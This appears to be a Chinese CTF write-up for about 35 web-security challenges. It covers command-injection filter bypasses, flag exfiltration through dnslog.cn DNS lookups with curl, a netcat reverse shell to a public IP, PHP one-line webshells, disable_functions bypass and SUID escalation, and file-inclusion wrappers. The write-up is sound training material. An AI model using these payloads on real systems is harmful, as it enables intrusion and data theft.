VIP题目wp

web1(robots.txt)

在网址后输入/robots.txt,查看爬虫管理文件

img

直接访问即可

img

web2(.git)

使用githack

C:\Users\李则睿\AppData\Local\Programs\Python\Python310\python.exe .\GitHack.py -u "网址/.git/"

web3(爆破)

正常的数字爆破

web4(字典导入)

没啥好说的QAQ

一个是username 另一个password

web5(base64加密爆破)

导入最新字典,按照截图来就行

img

web6(综合)

将1到5教的结合,先看robots协议

打开里面的路径

再/.git/泄露

然后爆破

web7(;的应用)

img

&&前后并列执行 短路

||前后命令有一个成功就行

;独立的两条命令

dir=;tac flag.php

dir=%26%26tac flag.php

在这里用;将命令隔开就可以实现先执行ls再执行tac flag.php

img

web8(/dev/null 2>&1)

需要前后两个命令,但是会使后面删除

img

web9(flag被过滤)

img

?可以用来站位

*也可以匹配

web10(base64绕过)

img

注意这里echo前用到是反引号,密文用的是单引号

web11(空格过滤)

img

${IFS}

$IFS$9

%09

web12(env)

img

img

web13(. /???/?????????)

img

whoami

img

这里匹配最后以为最后一位为大写字母

img

img

img

太狗了,还搞一个假flag

web14(无回显文件读取)

文件写入形,写入文件二次返回

img

?cmd=cat fla?.php>1.txt

将flag.php写入1.txt

直接访问1.txt即可

img

看完记得rm 1.txt消除痕迹

web15(DNS信道)

img

这里用到了http://dnslog.cn/网站

img

创建一个二级域名

img

?cmd=ping -c 1 whoami.jaugz9.dnslog.cn

img

可以看到信息被带出来了,但是这个方法有一个缺点,就是带出来的信息是有限的

于是我们尝试构造

?cmd=a=sed -n "3,4p" fla?.php;curl ${a:0:10}.2ax8wk.dnslog.cn

就可以得到关于flag的信息

img

当我们继续带出数据时,会发现不能成功(如 ${a:10:10} )

所以我们需要编码

?cmd=a=sed -n "3,4p" fla?.php|base64;curl ${a:0:10}.cgvu9p.dnslog.cn

img

img

JGZsYWc9ImZsYWd7MmViNWQzZjctMGFhMy00OTU1LTlmMGYtNTFmZGI3YzU0Y2ZhfSI7Cg==

img

web16(http信道|requestrepo)

img

img

img

img

img

web17(反弹shell信道)

img

img

复制这里2的代码,记得改成自己的公网ip和所监听的端口

img

web18(蚁剑连接)

没啥好说的,单纯的蚁剑连接

web19(转接)

接一句

?1=eval($_POST[1]);

其余和18一样

web20(call_user_func函数)

先了解函数的意思

然后使用函数达到目的

img

在php中assert和eval作用一样

web21(array_walk_recursive函数)

img

web22(拼接法)

img

web23(?>绕过)

看到有?>还过滤了?;等符号

就需要先看php手册

img

可以使用这段代码绕过

<script language="php"> echo 'some editors (like FrontPage) don\'t like processing instructions'; </script>

img

img

直接读取就好

这里有一个小技巧Linux读取根目录文件不用后缀

web24(限制上传长度+反弹shell)

题目是这样的

img

需要get上传一个1,然后要让他执行php语言

首先要构造一个绕过,不但要保证字数在限制以内,还要rce

这里上传这样一句

1=<?$_GET[2];

这个是运用了短标签风格 <?=?>

但是由于字数限制,不得不删除等号,会导致没有回显

为了验证是否成功绕过过滤,我们使用了2=sleep 3命令

如果网页三秒后才加载出来,说明rce成功

然后使用反弹shell的方法得到flag

首先需要一台拥有公网ip的服务器

我们在服务器控制端

输入nc -lvvnp 端口号,然后网页端输入这个

img

?1=<?$_GET[2];&2=nc 172.245.168.226 3389 -e /bin/sh

img

到这里直接查看flag就好了

img

web25(虚拟终端连接与蚁剑编码器的选择)

这里发现直接上传命令是没有用的

于是我们使用蚁剑连接由于过滤了eval函数,这里使用assert来替代

进行转接,改为post传参

?1=assert($_POST[1]);

注意:这里的编码器需要选择base64

否则会连接不成功

img

连接成功后,发现flag在根目录下

img

但是却打不开,说明这里过滤了系统命令

需要在这里以终端运行来读取flag

img

img

web26(蚁剑绕过与提权插件的使用)

这个是题目

img

这里继续使用蚁剑连接

和上一道题目用同样的连接方式

成功后继续打开虚拟终端

发现不能成功执行命令了

这里使用插件

这里使用的是ld_preload模式

img

成功后用这样的方式连接

img

连接成功后,用虚拟终端查看flag

结果发现没有权限

这里需要使用另一个插件

打开插件首先查找字符

img

再输入用户

img

这里看到很多路径

查看suid提取文件

发现tac是可以使用的

img

于是我们打开虚拟终端

tac flag就行

img

web27(Apache_mod_cgi)

前半部分和上一道题一样

这里在插件里选择Apache_mod_cgi

img

在这里执行命令

这里就不像上一题那样查看命令权限了

直接tac /f*

就可以看到flag

web28(user_filter)

和上一道题基本一样,只是使用了

user_filter模式

web29(无[a-z0-9]rce)

img

使用xor脚本

首先运行xor.php

会生成一个txt字典

然后运行python脚本

xor.py

构造即可

img

web30(文件包含)

当包含的东西没有php代码他就一律认为是文本文档

img

web31(三元表达式)

三元表达式

a?b:c

a成立则b否则c

img

web32(input)

img

这里注意是flag不是flag.php

web33(php filter协议)

img

img

这里注意编码后如果末尾是+要将它换成%2b

img

img

用以上原理就可以实现rce

img

最终得到flag

web34(rot13绕过死亡die)

img

img

web35(data协议)

可以省略成

?file=data:,<?php ?>

img

#